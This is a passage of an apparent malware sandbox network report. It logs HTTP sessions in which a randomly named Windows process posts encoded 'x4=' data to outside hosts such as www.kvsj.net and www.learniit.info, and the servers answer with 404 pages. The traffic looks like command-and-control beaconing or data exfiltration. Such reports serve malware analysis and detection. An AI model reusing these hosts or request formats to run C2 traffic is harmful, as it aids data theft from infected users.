x4=W87YeBucGxwNEfYo5PestP23HocduB5bfNw/nasux7HGO6FTRfni5rD1it5c8CA1CuiVOJOwMTyHZS8AbKJaN9QbZl6E30jlUaxMyhbXNIAzIoOd+u8A/qn1iGsprAiH9uGTy6jEaSITUNvCIaHJWkdvCrhLg3DiuZVo8JgNdx5CNHI9/2RoXG3OLU28v1PHaDgOATqYExkQiKwJkMIp7lUuDV00dxgTBYPRZ9emf8rdxY7jFt5ALDHw7jqk9pDEUwPnbU4dk/QIPLTr9lgZq6Pcsx7EYK7XUwMWerGJRsVQXK4MQvs9w9JdRRIfrmmbzsn68IyGJDAJ2LeRHstkz25dky0ljpTMCMchr2Wbxnuz0RUDE92BVJdFCbMogj8dk6mz2dQiZwr9CtEHg8gwA6b7OuMV0T+u+Uj31khtN99qF2bJOahcyv1M8PwwXlpIvWVFc5c7oU8H9WrZ5DQygLpK/vzJ1oxna3CsMV4SRKSrdeBfK/0M41BdfCEhAcmb/hY0A3iuFAMwGYhTagFe+rLf/WVvYengEFYPeQmOVU4lvFjn3ebB1h8JwESDfwO+kke+018qzuhYdMKQCNZm+Q2Sr8KPuLRMaj65j8xKtrg/XZctjhP5Rwie/cFQjdS2Eli3zKtjGK4JPH9Ne5LaFvdyDq4EQzMP1OzlU82bKN1VFh7ozYE5jJ2LZYGyTW23rejjy1Lf5xnPI7jjuMn/k6mXgIQRYfccltVikf/ofkI5ahzQXfK1jfbtyFhe3aZDrK1e0RiRIUiw4brERF/+b40qrNU3AAZlyhVIRj05TL9U2fA/N/hbdqWmTYrGlumSpHxegnAZP2dvjR+uq+VqUmGCwfaJCLquhA69jLc7EI5RFN4Bj/OOBCWaHUghB3BnD/t7uD6UNsowXUwtUsWNHATAitjNyXXokLX2bHUDgIKETBVkc/vqRdQ7pOfp0sGzPvq24fMBpQwClSoV7CD5tsYfGkFGYPKzzwbcBi9WnIQOd7yii [TRUNCATED]
Dec 12, 2024 10:21:29.308577061 CET	282	OUT	Data Raw: 71 6c 54 69 52 74 4e 68 50 4a 6d 6d 63 4e 6b 52 30 4a 30 4c 68 43 62 4c 33 38 54 36 61 5a 59 64 5a 56 72 4a 45 46 6e 41 51 46 57 41 46 4c 56 52 41 5a 55 43 55 42 47 51 41 4c 4e 55 56 6d 2b 4b 56 64 57 41 5a 75 34 67 74 37 32 73 41 49 4e 49 75 62 Data Ascii: qlTiRtNhPJmmcNkR0J0LhCbL38T6aZYdZVrJEFnAQFWAFLVRAZUCUBGQALNUVm+KVdWAZu4gt72sAINIubJhbuDbvhmYNFjNIOKIxA6vSjZWw+YA4OSh/VNr0uQREN08javtJ3p0joB3fSkumghhnyD7w7jzJWsXaB6Y/j9jfF8bMXZN1YSyqqMLj7VjyiybTBoYvdPdnmFeGYrWNESYdfDG0b7BLgn8dUaJ74B8cEgw2nvWuSD
Dec 12, 2024 10:21:30.290648937 CET	479	IN	HTTP/1.1 404 Not Found Date: Thu, 12 Dec 2024 09:21:30 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.22	49176	173.236.199.97	80	1020	C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 10:21:31.849853039 CET	793	OUT	POST /zu0o/ HTTP/1.1 Host: www.kvsj.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Origin: http://www.kvsj.net Referer: http://www.kvsj.net/zu0o/ Content-Length: 199 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Linux; Android 5.1; Nexus 6 Build/LMY47E; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.117 Mobile Safari/537.36 Data Raw: 78 34 3d 57 38 37 59 65 42 75 63 47 78 77 4e 45 63 41 6f 37 61 71 73 73 76 32 33 4b 49 63 64 68 68 35 64 66 4e 73 33 6e 59 41 45 78 4e 6a 47 4f 76 35 54 52 71 37 69 34 72 44 32 36 64 35 51 6a 53 41 61 43 75 6a 38 4f 49 79 77 4d 54 57 48 59 78 45 41 4b 65 64 5a 47 74 51 5a 52 46 36 5a 33 30 76 6f 55 61 30 52 79 68 7a 58 4e 4a 38 7a 4a 6f 2b 64 31 74 55 41 70 71 6d 66 6b 47 73 36 72 41 76 54 39 75 57 68 79 35 6e 45 64 68 4d 54 55 65 72 43 43 72 48 4a 50 55 64 73 46 72 67 63 68 30 75 4e 6b 70 42 2b 38 76 59 69 63 44 30 36 43 47 63 75 6c 67 64 39 64 6d 48 59 42 67 6a 52 68 57 75 77 48 67 3d 3d Data Ascii: x4=W87YeBucGxwNEcAo7aqssv23KIcdhh5dfNs3nYAExNjGOv5TRq7i4rD26d5QjSAaCuj8OIywMTWHYxEAKedZGtQZRF6Z30voUa0RyhzXNJ8zJo+d1tUApqmfkGs6rAvT9uWhy5nEdhMTUerCCrHJPUdsFrgch0uNkpB+8vYicD06CGculgd9dmHYBgjRhWuwHg==
Dec 12, 2024 10:21:32.950170994 CET	479	IN	HTTP/1.1 404 Not Found Date: Thu, 12 Dec 2024 09:21:32 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.22	49177	173.236.199.97	80	1020	C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 10:21:34.502125978 CET	2472	OUT	POST /zu0o/ HTTP/1.1 Host: www.kvsj.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Origin: http://www.kvsj.net Referer: http://www.kvsj.net/zu0o/ Content-Length: 3623 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Linux; Android 5.1; Nexus 6 Build/LMY47E; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.117 Mobile Safari/537.36 Data Raw: 78 34 3d 57 38 37 59 65 42 75 63 47 78 77 4e 47 2f 6f 6f 30 5a 79 73 39 66 33 46 50 49 63 64 75 42 35 5a 66 4e 77 33 6e 61 73 75 78 2f 76 47 4f 34 39 54 66 76 6e 69 72 62 44 32 38 64 35 63 38 43 41 32 43 75 6e 65 4f 4a 43 67 4d 56 32 48 5a 58 63 41 62 4e 6c 61 49 39 51 62 47 56 36 61 33 30 76 48 55 63 55 56 79 68 6d 79 4e 4b 4d 7a 4a 64 4b 64 7a 64 55 44 6c 4b 6d 66 6b 47 73 49 72 41 75 79 39 75 4f 44 79 37 47 42 61 55 41 54 58 39 76 43 4f 71 48 4f 65 45 63 45 50 4c 68 52 67 33 50 62 75 5a 56 73 38 4a 63 6e 64 78 46 43 66 48 55 39 2f 78 6c 72 4c 6d 33 4e 50 55 32 38 69 56 50 42 61 44 67 53 41 54 71 59 45 79 67 51 6a 61 77 4a 6b 4a 6f 6f 6c 56 55 75 4f 31 31 30 5a 78 73 74 42 62 79 79 5a 2b 58 54 65 4b 4c 64 77 64 50 6a 42 64 35 41 4e 7a 47 31 37 6a 71 70 32 4a 44 59 55 30 6a 76 62 58 52 41 6b 2f 51 49 50 4b 7a 72 33 54 30 5a 6b 36 50 63 7a 42 36 6a 58 71 37 55 55 77 49 6b 65 6f 61 4a 52 70 35 51 56 34 67 4d 59 4b 59 2b 36 74 4a 4a 56 52 49 64 36 32 6e 66 7a 73 72 51 38 49 72 72 4a 43 77 4a 32 4a 6d [TRUNCATED] Data Ascii: x4=W87YeBucGxwNG/oo0Zys9f3FPIcduB5ZfNw3nasux/vGO49TfvnirbD28d5c8CA2CuneOJCgMV2HZXcAbNlaI9QbGV6a30vHUcUVyhmyNKMzJdKdzdUDlKmfkGsIrAuy9uODy7GBaUATX9vCOqHOeEcEPLhRg3PbuZVs8JcndxFCfHU9/xlrLm3NPU28iVPBaDgSATqYEygQjawJkJoolVUuO110ZxstBbyyZ+XTeKLdwdPjBd5ANzG17jqp2JDYU0jvbXRAk/QIPKzr3T0Zk6PczB6jXq7UUwIkeoaJRp5QV4gMYKY+6tJJVRId62nfzsrQ8IrrJCwJ2JmRBJZkzm5C8i0h05fYCMlCr3GLxlqzuj8DF/eOLpdfHbMu3T8rk7Tg2cwiZBz9Du8HnMczMab8d+MC7z+y+Un/1mJ9OMNqEGbJI/1ftP0nyvwqOVpavWVWc48rrm8H9X7Z5xoygLpN6vzP6I9Ja3PlMVMCRMWreOxfK+0Mx1BdViEmO8nk/lIkAz2+EwIwG65TXGRe4LK55WVyS+nHEFIPeSrFVUQlvkjn0/bB9B8NxESqfwPHkkKy01sAztJYdI+QW8Zmmg2Rt8KTqLR3ajypj99gtq4/X48tkQP5QQicgMFQs9S+ElqBzLBZGLwJP2tNYZLdNPd1Q64LBDMd1ODlU86bKNdVEWXoibs58p2FHoGSZ26XrdKay0+C5zTPHI7jtOPw46mV3IQhcfc0ltVmkdP4fVo5a1zQW+LH5far4lhN56Y0rKkW0RGBPnGw4bbES3n+bI0qrNU4AAZpyhYuRmwDTL9U5uA/NJNbF6WZRYr0zumQpHl4gjkzP2xvhAeuq+VpQmGBrvaOCLmZhA7cjLQ7F7VREbEBjcmOGiWaAUgiPXBkD/truGLRNpIwWnItYKqMYgTFzdjblHb3kLLHbFYDn/KESTxkfPvqfdQ8w+ez6N6vPsf+4a9EplsCjhAVgC/61MYLIEFAYPGAzwTEBhtgnJIOebyin [TRUNCATED]
Dec 12, 2024 10:21:34.621628046 CET	1746	OUT	Data Raw: 53 6c 51 43 52 71 49 52 50 51 6d 6d 63 58 6b 52 63 42 30 4c 4e 73 62 49 76 38 54 5a 69 5a 66 72 52 56 30 70 45 44 6e 41 52 45 59 67 4a 75 56 52 41 6a 55 43 67 42 47 51 51 4c 4e 58 74 6d 2b 36 56 61 61 51 5a 74 39 67 74 34 74 38 41 75 4e 49 75 68 Data Ascii: SlQCRqIRPQmmcXkRcB0LNsbIv8TZiZfrRV0pEDnAREYgJuVRAjUCgBGQQLNXtm+6VaaQZt9gt4t8AuNIuhJjvQDYjhmL5Fn8IOJ4x8zPTndWsVYA8CSk7rN4wuRjMNm+ba8dJ6hUjlB3T6ku3Phg3YDpY7iDJWmEyCrI/h4jfY8bMvZNNcS3S6MPn7VhqizrTGiIvhMdnKFeK9rWEVSZtfDCkb7hbg28dUSp79fMdFvQ6kvW+LT
Dec 12, 2024 10:21:35.595786095 CET	479	IN	HTTP/1.1 404 Not Found Date: Thu, 12 Dec 2024 09:21:35 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.22	49178	173.236.199.97	80	1020	C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 10:21:37.157578945 CET	537	OUT	GET /zu0o/?x4=b+T4d2yBdzwUctMejPOupP2kAcsd/nhPUeEaq4sP5cuMDP5lcr7xps31yZ0v/SBMA/DffJ2wWiPafQM+LvQwNtI7bwedqUnBbu8V9j+TNLUtBYOc7+oiqpinqR9T&e2E=wRQ8oHXx HTTP/1.1 Host: www.kvsj.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Connection: close User-Agent: Mozilla/5.0 (Linux; Android 5.1; Nexus 6 Build/LMY47E; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.117 Mobile Safari/537.36
Dec 12, 2024 10:21:38.255367994 CET	479	IN	HTTP/1.1 404 Not Found Date: Thu, 12 Dec 2024 09:21:38 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.22	49179	203.161.42.73	80	1020	C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 10:21:43.769907951 CET	2472	OUT	POST /n8su/ HTTP/1.1 Host: www.learniit.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Origin: http://www.learniit.info Referer: http://www.learniit.info/n8su/ Content-Length: 2159 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Linux; Android 5.1; Nexus 6 Build/LMY47E; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.117 Mobile Safari/537.36 Data Raw: 78 34 3d 6f 48 35 61 4d 31 6a 6b 68 64 55 6a 5a 4b 6b 6e 59 7a 37 44 48 56 34 71 6c 49 4a 68 6b 67 7a 4d 70 5a 46 64 6f 37 34 2b 7a 4b 4c 6a 41 30 65 44 44 36 6b 79 76 48 78 33 50 74 59 38 2f 42 49 7a 63 65 52 4e 76 51 58 4a 66 39 4f 4f 2b 76 6e 64 7a 47 43 71 43 39 38 42 72 6f 33 6a 61 34 5a 65 6e 6d 67 57 43 48 51 49 44 73 72 45 74 4e 4b 64 69 2b 72 63 41 52 66 6a 6a 36 50 59 4a 69 57 4b 5a 71 31 2f 54 2f 6a 4f 64 76 4b 64 37 6d 51 6a 78 62 55 33 50 72 4c 56 4d 4b 45 6d 79 4d 76 55 70 57 66 35 6a 71 78 57 52 2f 6d 79 73 77 2b 30 4c 42 41 32 7a 49 2f 4c 67 58 4c 55 79 42 55 2b 78 68 67 70 68 71 49 66 57 61 50 4c 4f 30 59 74 36 70 65 31 66 74 50 55 74 48 57 4c 50 66 39 30 69 36 65 6a 42 45 52 71 75 63 57 4d 59 77 47 5a 57 51 42 43 57 44 39 2b 66 70 43 6a 42 50 6b 51 47 4e 67 6a 32 55 41 78 76 31 4f 68 51 64 2b 58 2b 41 6c 32 64 33 54 52 5a 39 30 62 42 32 68 4a 52 59 77 74 5a 7a 34 62 6b 64 71 74 58 47 35 58 36 33 4c 65 4c 46 31 70 75 63 6b 6b 4d 6f 2f 38 42 6c 5a 63 44 4f 6d 78 5a 59 6f 68 53 53 4c [TRUNCATED] Data Ascii: x4=oH5aM1jkhdUjZKknYz7DHV4qlIJhkgzMpZFdo74+zKLjA0eDD6kyvHx3PtY8/BIzceRNvQXJf9OO+vndzGCqC98Bro3ja4ZenmgWCHQIDsrEtNKdi+rcARfjj6PYJiWKZq1/T/jOdvKd7mQjxbU3PrLVMKEmyMvUpWf5jqxWR/mysw+0LBA2zI/LgXLUyBU+xhgphqIfWaPLO0Yt6pe1ftPUtHWLPf90i6ejBERqucWMYwGZWQBCWD9+fpCjBPkQGNgj2UAxv1OhQd+X+Al2d3TRZ90bB2hJRYwtZz4bkdqtXG5X63LeLF1puckkMo/8BlZcDOmxZYohSSLStA4n8KaUxi9wF/AVRJm7qi9KpTo/bUszB5G6FryFtJKgjNrGNsebfl+vOEa6OfbTwzzxzeFwJfOy6NItSWsa+s3wPUyWBEzKSV3TenF+eVHAdwAIBn6Mzf7/W8pj6v/z1MhW7/JYkZ+RFA6YedmmPU6k3ZJc1r92TBnhVn5A4nTcF5s+SWfVXSrN5tkC5PHnlyH9AaU4raMi+ZPB/jqObZu4Pw3feUHVvBS/iVZLghoE3TyX3nzDY7loYMt5zq0Cp/tuTN+sKsM00El5szrq4mJEKR0gOL8LuNR0f8ZGuevxMPk+UQjWKQ1ws+ku8Y75kXGY2D0DlJV5xBhQDbqCyebW4uLjTqcJ3qNl3tCSAVpJCpoDZifAMWiVmdx2cojM9oap52JMIKI/0YTKt03belaxzL1h15mGiKK7rf2p2hukN4k2Ubh191iGDPcFL4nLKhyrnfgzQ4SvugAQSAg6tQjwYAz/9gFxwkYl8FrRcy+ImbCSttbQT4kiMQ3FWvKd5I+Q6A+2Dy7DIuS+5jmtsopMM00RMVpEJomVhFv5fS/+EiApQJ4q1npZv8T+kQi7sP8BZqKhVWhI6PQs4ei7Pqi2v3P30a1mo8ICeq7cwLkM7AKZX9PSaq7UWiIAibPdN9vW1JyAo6LKBYTQAfc59Muxjd2R9WONl [TRUNCATED]
Dec 12, 2024 10:21:43.897783995 CET	297	OUT	Data Raw: 2b 56 4a 6e 58 2b 49 58 70 6a 57 35 65 38 4e 69 46 32 72 66 6d 30 59 48 2f 58 34 66 41 2b 41 68 6c 2b 4f 2f 72 2b 72 64 41 62 38 41 6c 74 65 46 30 33 63 79 2f 54 49 69 67 37 42 76 41 7a 45 6d 52 6a 42 59 4f 74 54 63 58 70 32 57 51 70 6e 30 42 5a Data Ascii: +VJnX+IXpjW5e8NiF2rfm0YH/X4fA+Ahl+O/r+rdAb8AlteF03cy/TIig7BvAzEmRjBYOtTcXp2WQpn0BZ32KPA0CIQVQSI+KKIPISvWL1WhmIPwTGNuacwuxWMbX4WKuYuNviIy3ACzif9JKmallDfVrRgudBKcFU0+XWdp3fEXIWiHXVBbTq9uW3jGhGjl5d9Dy93xiaCkWndjg+KxiMf8G6T0a/skB6MgU0at85qx640Hych
Dec 12, 2024 10:21:44.996331930 CET	1236	IN	HTTP/1.1 404 Not Found Date: Thu, 12 Dec 2024 09:21:44 GMT Server: Apache Content-Length: 16052 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/42.css"></head><body>... partial:index.partial.html --><main> <svg viewBox="0 0 541.17206 328.45184" height="328.45184" width="541.17206" id="svg2" version="1.1"> <metadata id="metadata8"> </metadata> <defs id="defs6"> <pattern patternUnits="userSpaceOnUse" width="1.5" height="1" patternTransform="translate(0,0) scale(10,10)" id="Strips2_1"> <rect style="fill:black;stroke:none" x="0" y="-0.5" width="1" height="2" id="rect5419" /> </pattern> <linearGradient osb:paint="solid" id="linearGradient6096"> <stop id="stop6094" offset="0" [TRUNCATED]
Dec 12, 2024 10:21:44.996359110 CET	1236	IN	Data Raw: 3e 0a 20 20 20 20 3c 2f 64 65 66 73 3e 0a 20 20 20 20 3c 67 0a 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 37 30 2e 31 34 35 31 35 2c 30 2e 30 33 38 31 36 34 29 22 0a 20 20 20 20 20 20 20 69 64 3d 22 6c Data Ascii: > </defs> <g transform="translate(170.14515,0.038164)" id="layer1"> <g id="g6219" > <path transform="matrix(1.0150687,0,0,11.193923,-1.3895945,-2685.7441)" style="disp
Dec 12, 2024 10:21:44.996376991 CET	448	IN	Data Raw: 38 2e 38 35 38 37 31 35 20 2d 30 2e 36 30 32 31 37 35 2c 2d 33 31 2e 34 36 39 32 32 38 20 2d 30 2e 30 31 32 35 33 2c 2d 32 32 2e 37 35 39 35 36 35 20 30 2e 37 31 37 32 36 32 2c 2d 34 31 2e 32 33 31 34 35 32 31 33 20 31 2e 36 32 38 39 39 35 2c 2d Data Ascii: 8.858715 -0.602175,-31.469228 -0.01253,-22.759565 0.717262,-41.23145213 1.628995,-41.23195399 z" style="display:inline;fill:#000000;stroke:none;stroke-width:0.23743393px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;"
Dec 12, 2024 10:21:44.996515036 CET	1236	IN	Data Raw: 36 38 31 31 33 20 2d 31 2e 33 35 35 38 35 33 2c 31 2e 35 30 33 31 32 20 2d 32 2e 34 37 33 37 36 34 2c 33 2e 30 39 31 37 33 20 2d 33 2e 33 38 37 38 36 36 2c 34 2e 35 39 35 33 38 20 2d 30 2e 39 31 34 31 30 33 2c 31 2e 35 30 33 36 35 20 2d 31 2e 36 Data Ascii: 68113 -1.355853,1.50312 -2.473764,3.09173 -3.387866,4.59538 -0.914103,1.50365 -1.620209,2.91586 -2.416229,4.41952 -0.79602,1.50365 -1.67928,3.09352 -0.808656,3.24054 0.870624,0.14702 3.490408,-1.14815 5.700074,-1.91396 2.209666,-0.76581 4.0014
